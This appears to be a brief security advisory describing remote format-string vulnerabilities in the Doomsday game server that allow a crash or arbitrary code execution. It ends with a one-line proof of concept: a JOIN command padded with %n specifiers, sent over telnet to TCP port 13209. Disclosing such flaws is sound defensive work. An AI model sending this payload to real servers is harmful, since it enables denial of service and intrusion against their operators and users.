source: https://www.securityfocus.com/bid/17369/info

Doomsday is prone to multiple remote format-string vulnerabilities.

These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary code in the context of the vulnerable application or crash the affected game server, effectively denying service to legitimate users.

Telnet to TCP port 13209 and issue the following command:
JOIN 1234 %n%n%n%n%n%n